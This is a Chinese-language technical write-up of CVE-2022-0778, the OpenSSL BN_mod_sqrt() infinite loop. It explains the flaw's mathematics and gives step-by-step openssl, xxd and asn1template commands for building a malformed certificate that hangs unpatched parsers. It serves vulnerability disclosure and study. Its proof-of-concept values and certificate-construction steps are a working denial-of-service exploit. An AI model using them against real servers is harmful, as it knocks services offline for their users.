CVE-2022-0778

该漏洞会在解析椭圆曲线密钥时触发 OpenSSL 中 BN_mod_sqrt() 函数的无限循环。这意味着一个恶意构造的 X.509 证书可以对任何未修补的服务器发起 DoS 攻击。

漏洞的核心在于解析以压缩格式表示点的 EC 密钥过程中：在解析此类密钥时，OpenSSL 会尝试扩展压缩点，试图计算曲线定义素数 p 的模平方根。然而，p 的素性未在任何地方检查，即使在需要它的 BN_mod_sqrt() 中也不例外；因此，由于 p 不是预期的素数，实现中的一个错误会导致无限循环。

中文版说明可以见我的博客OpenSSL CVE-2022-0778漏洞问题复现与非法证书构造

致谢

• Tavis Ormandy 发现并披露此漏洞
• Drago 发布针对 BN_mod_sqrt() 的测试用例
• catbro666 实际构造了使服务器挂起的 X.509 证书
• wllm-rbnt 提供了有用的 asn1template 工具

测试方法

前提是已安装了 gcc 和一个存在漏洞版本的 OpenSSL。

对于 BN_mod_sqrt() 中的 bug：使用 gcc -o my_bad_sqrt my_bad_sqrt.c -lcrypto 编译，运行 ./my_bad_sqrt 并观察它永远挂起！:D

对于证书：在命令行中运行 openssl x509 -in certs/cert.der.new -inform DER -text -noout；同样会挂起。

命中循环

函数 BN_mod_sqrt() 实现了 Tonelli-Shanks 算法，用于寻找模平方根，即给定整数 a 和素数 p，返回一个值 r 使得 r^2 == a (mod p)。

分析修复该漏洞的 commit，我们发现罪魁祸首是寻找使得 b^(2^i)==1 (mod p) 的最小索引 i 的循环，其中 b 之前已在算法中定义。

循环从

i = 1;
if (!BN_mod_sqr(t, b, p, ctx))
    goto end;
while (!BN_is_one(t)) {
    i++;
    if (i == e) {
        ERR_raise(ERR_LIB_BN, BN_R_NOT_A_SQUARE);
        goto end;
    }
    if (!BN_mod_mul(t, t, t, p, ctx))
        goto end;
}

改为

for (i = 1; i < e; i++) {
    if (i == 1) {
        if (!BN_mod_sqr(t, b, p, ctx))
            goto end;
    } else {
        if (!BN_mod_mul(t, t, t, p, ctx))
            goto end;
    }
    if (BN_is_one(t))
        break;
}

在第二种情况下，有一个由变量 e 限制的 for 循环；而在原始代码中，只有一个 while 循环内的 i==e 检查。

由于这些循环位于一个更大的循环中，该更大循环在每次迭代时将 e 的新值设置为当前 i 的值，我们尝试以下攻击策略：

1. 在外部循环的第一次执行中，使得最终 i=1；为此，我们需要 b^2=1 (mod p)。
2. 这样，在第二次执行期间，我们将有 e=1，如果我们可以进入内部循环，则 i==e 检查将始终失败。
3. 如果我们设法始终有 t != 1 (mod p)，那么我们将永远停留在循环中。

注意，前两步实际上可能在“正常”执行中发生，即使用素数 p。但是，如果 p 是合数，我们也可以满足第三步！

一些数学原理

Tonelli-Shanks 算法通过将 p - 1 写为 2^e * q，其中 q 为奇数。这也是模 p 整数乘法群的阶，并且值 e 和 q 将在执行过程中多次使用；然而，如果 p 不是素数，乘法群的阶将不是 p-1，这将帮助我们进入无限循环。

具体来说，b 初始化为 b = a^q (mod p)，这意味着如果 p 是素数，则 b 的阶将是 2 的某次幂，我们将使用循环找到它。

但是，如果我们设置 p = r * s，乘法群的阶是 (r-1)*(s-1) = r*s - r - s + 1，而不是 r*s-1。算法使用 q 值来获得一个阶恰好为 2^e 的元素 y；然而，当 p 不是素数时，q 值对于阶没有特殊意义，因此元素 y 在模 p=r*s 下将没有 2 的幂的阶。

由于在第一次外部循环结束时，b 被设置为 b = b*y^(e-i) (mod p)，在第二次迭代中，内部循环将尝试找到一个 i 使得 b^(2^i) == 1 (mod p)，但由于 y 不再保证具有 2 的幂的阶，因此会失败。

利用代码

利用代码中的数字非常简单：我们取 r=17, s=41，得到 p=r*s=697。这意味着计算出的 e 和 q 值为 p-1 = 2^3 * 87。

然后我们取 a=696，这意味着 a == -1 (mod p) 并且 b 在初始化时也为 -1 (mod p)。这将满足步骤 1，为下一个外部循环设置 e=1。

然后 b 被设置为一个阶不是 2 的幂的元素，内部循环将陷入死锁，试图找到 i 使得 b^(2^i)==1 (mod p)。

创建危险证书

好的，现在我们来构造一个包含无效显式曲线参数且基点为压缩格式编码的危险证书。

本节的示例文件位于 certs 文件夹中。

创建包含显式曲线参数的正常证书

首先，我们需要创建一个 EC 私钥。由于我们想要一个包含显式曲线参数的目标证书，因此密钥也应包含显式曲线参数。

$ openssl ecparam -out ec.key -name prime256v1 -genkey -noout -param_enc explicit -conv_form compressed

然后，为了方便起见，我们自签名一个证书，并以 DER 格式输出。

$ openssl req -new -x509 -key ec.key -out cert.der -outform DER -days 360 -subj "/CN=TEST/"

让我们检查证书信息。它如预期般包含显式曲线参数。

$ openssl x509 -in cert.der -text -noout -inform DER
...
                Field Type: prime-field
                Prime:
                    00:ff:ff:ff:ff:00:00:00:01:00:00:00:00:00:00:
                    00:00:00:00:00:00:ff:ff:ff:ff:ff:ff:ff:ff:ff:
                    ff:ff:ff
                A:
                    00:ff:ff:ff:ff:00:00:00:01:00:00:00:00:00:00:
                    00:00:00:00:00:00:ff:ff:ff:ff:ff:ff:ff:ff:ff:
                    ff:ff:fc
                B:
                    5a:c6:35:d8:aa:3a:93:e7:b3:eb:bd:55:76:98:86:
                    bc:65:1d:06:b0:cc:53:b0:f6:3b:ce:3c:3e:27:d2:
                    60:4b
                Generator (compressed):
                    03:6b:17:d1:f2:e1:2c:42:47:f8:bc:e6:e5:63:a4:
                    40:f2:77:03:7d:81:2d:eb:33:a0:f4:a1:39:45:d8:
                    98:c2:96
                Order:
                    00:ff:ff:ff:ff:00:00:00:00:ff:ff:ff:ff:ff:ff:
                    ff:ff:bc:e6:fa:ad:a7:17:9e:84:f3:b9:ca:c2:fc:
                    63:25:51
...

构造无效证书

现在我们需要修改这些参数的值：Prime、A、B、Generator。它们满足下面的方程

其中 p 是 Prime，a 是参数 A，b 是参数 B。p、a、b 共同确定一条曲线。解压一个点意味着根据对应的 X 坐标计算 Y 坐标。

显然，应该使用模平方根操作，这将调用 BN_mod_sqrt()。

基于 drago-96 的工作，我们取 p=697，x^3+ax+b=696。然后我们只需要选择合适的 a、b、x 来满足第二个方程。这里我们取 x=8，a=23，b=0。

好的，现在我们可以开始修改证书。手动编辑 ASN.1 结构非常麻烦。我使用了工具 xxd 将证书转换为十六进制格式，然后用 vim 编辑。编辑完成后，用 xxd -r 转换回来。

$ cp cert.der cert.der.old
$ xxd cert.der cert.der.hex
$ cp cert.der.hex cert.der.hex.old
$ vim cert.der.hex
# 编辑 cert.der.hex
# ...
# 完成
$ xxd -r cert.der.hex cert.der.new

我没有找到更方便的工具。如果有人知道这样的工具，请不吝赐教。

构造步骤大致如下：

1. 修改 Prime、A、B、Generator 的值
   1. 将 Prime 改为 697，即十六进制的 0x2b9
   2. 将 A 改为 23，即十六进制的 0x17
   3. 将 B 改为 0
   4. 将 Generator 的 X 坐标改为 8，当以压缩格式编码时表示为 0x020008（或 0x030008）
2. 由于 OpenSSL 会检查 ASN1_INTEGER 的填充格式，所以 Prime 不应包含前导 0 字节，因此我们必须更改 Prime 的长度
3. 同样，OpenSSL 会比较 Prime 的长度与点字符串的长度，因此 Generator 的 X 坐标长度应与 Prime 相同。这就是为什么我们将 Generator 设置为 030008，而不是 0308。
4. 由于证书的 ASN.1 结构是嵌套的，所有外部对象的长度也需相应修改。
5. 注意在执行 xxd -r 后，文件末尾可能有一个多余的换行符（0x0a）。将其去除。

现在，让我们看看正常证书的 ASN.1 结构。红色线条标记的部分是需要修改的。

$ openssl asn1parse -in cert.der -inform DER -i

修改前后的长度列表如下：

使用 ASN1 模板

更新于 2020-03-21：

更简单的方法是使用 wllm-rbnt 编写的工具 asn1template。

克隆仓库：

$ git clone https://github.com/wllm-rbnt/asn1template.git

从该证书生成 DER 模板：

$ ./asn1template/asn1template.pl cert.der > cert.tpl

然后修改上面提到的参数：

diff cert.tpl cert_new.tpl
46c46
< field32 = FORMAT:HEX,OCTETSTRING:036B17D1F2E12C4247F8BCE6E563A440F277037D812DEB33A0F4A13945D898C296
---
> field32 = FORMAT:HEX,OCTETSTRING:030008
51c51
< field36 = INTEGER:0xFFFFFFFF00000001000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFF
---
> field36 = INTEGER:0x2B9
53,54c53,54
< field37 = FORMAT:HEX,OCTETSTRING:FFFFFFFF00000001000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFC
< field38 = FORMAT:HEX,OCTETSTRING:5AC635D8AA3A93E7B3EBBD55769886BC651D06B0CC53B0F63BCE3C3E27D2604B
---
> field37 = FORMAT:HEX,OCTETSTRING:0000000000000000000000000000000000000000000000000000000000000017
> field38 = FORMAT:HEX,OCTETSTRING:0000000000000000000000000000000000000000000000000000000000000000

使用 ASN1_generate_nconf(3) 将其转换回 DER 编码的 ASN1：

$ openssl asn1parse -genconf cert_new.tpl -noout -out cert_new.der

输出 cert_new.der 等同于手动编辑的版本。

所以我们现在成功构造了一个无效证书。让我们看看新的 ASN.1 结构

$ openssl asn1parse -in cert.der.new -inform DER -i

所有红色部分已被修改，证书可以正确进行 DER 解码。

使用无效证书测试

现在让我们尝试解析该证书。如果一切如预期，进程将进入无限循环。

openssl x509 -in cert.der.new -inform DER -text -noout

如图所示，openssl 进程的 %CPU 为 100%，调用栈位于 BN_mod_sqrt() 内部。

如果恶意攻击者在使用 SSL 握手与服务器交互时发送这样一个构造的证书，服务器将进入无限循环，从而导致 DoS 攻击。

创建证书的替代方法

我们将尝试使用 OpenSSL C libcrypto 库来构造证书。

如我们所知，需要使用非素数基域的曲线并以压缩格式编码点，这样在解析时会触发 BN_mod_sqrt() 中的 bug。

我们可以通过将曲线设置为 y^2 = x^3 + 1*x + 694 (mod 697)，并以 (1, 132) 作为生成器来实现；这将使用与 my_bad_sqrt 完全相同的参数调用 BN_mod_sqrt()。

运行 gcc -o my_bad_group my_bad_group.c -lcrypto && ./my_bad_group 将生成 my_bad_group.der 文件，其中包含 DER 格式的 ECparams。

尝试使用 OpenSSL 解析这些参数将导致无限循环：openssl ecparam -in my_bad_group.der -inform der。

... 待续 ...